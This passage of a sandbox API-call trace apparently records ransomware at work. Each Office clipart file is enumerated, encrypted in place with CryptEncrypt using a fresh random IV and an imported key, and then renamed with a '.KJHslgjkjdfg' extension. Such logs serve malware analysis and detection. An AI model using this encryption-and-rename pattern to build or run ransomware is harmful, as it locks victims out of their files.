hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21f0, dwBufLen=0x21f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21f0) returned 1 [0200.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.293] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x21f0, lpOverlapped=0x0) returned 1 [0200.293] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.293] SetEndOfFile (hFile=0x130) returned 1 [0200.296] GetProcessHeap () returned 0x2ef0000 [0200.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.296] GetProcessHeap () returned 0x2ef0000 [0200.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.kjhslgjkjdfg")) returned 1 [0200.297] CloseHandle (hObject=0x130) returned 1 [0200.297] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1 [0200.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.298] GetProcessHeap () returned 0x2ef0000 [0200.298] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.298] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.298] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.300] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.300] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.300] GetProcessHeap () returned 0x2ef0000 [0200.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.300] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.300] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.300] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.300] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.300] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.301] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.301] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.301] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.301] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.301] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x287c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x287c, lpOverlapped=0x0) returned 1 [0200.302] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2880, dwBufLen=0x2880 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2880) returned 1 [0200.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.302] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2880, lpOverlapped=0x0) returned 1 [0200.302] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.302] SetEndOfFile (hFile=0x130) returned 1 [0200.305] GetProcessHeap () returned 0x2ef0000 [0200.305] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.305] GetProcessHeap () returned 0x2ef0000 [0200.305] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.kjhslgjkjdfg")) returned 1 [0200.306] CloseHandle (hObject=0x130) returned 1 [0200.306] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1 [0200.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.307] GetProcessHeap () returned 0x2ef0000 [0200.307] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.307] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.307] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.307] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.307] GetProcessHeap () returned 0x2ef0000 [0200.307] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.307] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.307] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.307] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.309] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.310] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.310] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.310] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.310] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.310] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.310] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x35f0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x35f0, lpOverlapped=0x0) returned 1 [0200.311] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x35f0, dwBufLen=0x35f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x35f0) returned 1 [0200.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.311] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x35f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x35f0, lpOverlapped=0x0) returned 1 [0200.312] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x36c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.312] SetEndOfFile (hFile=0x130) returned 1 [0200.314] GetProcessHeap () returned 0x2ef0000 [0200.314] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.314] GetProcessHeap () returned 0x2ef0000 [0200.315] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.kjhslgjkjdfg")) returned 1 [0200.316] CloseHandle (hObject=0x130) returned 1 [0200.316] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1 [0200.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.317] GetProcessHeap () returned 0x2ef0000 [0200.317] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.317] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.317] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.317] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.317] GetProcessHeap () returned 0x2ef0000 [0200.317] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.317] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.317] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.317] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.319] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.320] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.320] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.320] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.320] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.320] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.320] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2030, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2030, lpOverlapped=0x0) returned 1 [0200.321] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2030, dwBufLen=0x2030 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2030) returned 1 [0200.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.321] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2030, lpOverlapped=0x0) returned 1 [0200.321] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.321] SetEndOfFile (hFile=0x130) returned 1 [0200.323] GetProcessHeap () returned 0x2ef0000 [0200.323] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.324] GetProcessHeap () returned 0x2ef0000 [0200.324] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.kjhslgjkjdfg")) returned 1 [0200.324] CloseHandle (hObject=0x130) returned 1 [0200.325] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1 [0200.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.325] GetProcessHeap () returned 0x2ef0000 [0200.325] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.325] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.325] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.326] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.326] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.326] GetProcessHeap () returned 0x2ef0000 [0200.326] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.326] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.327] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.327] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.327] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.327] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.327] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.327] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.327] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.327] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.327] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2dc8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2dc8, lpOverlapped=0x0) returned 1 [0200.332] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2dd0, dwBufLen=0x2dd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2dd0) returned 1 [0200.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.332] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2dd0, lpOverlapped=0x0) returned 1 [0200.332] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.332] SetEndOfFile (hFile=0x130) returned 1 [0200.332] GetProcessHeap () returned 0x2ef0000 [0200.332] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.332] GetProcessHeap () returned 0x2ef0000 [0200.332] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.KJHslgjkjdfg" (normalized: "c:\\program 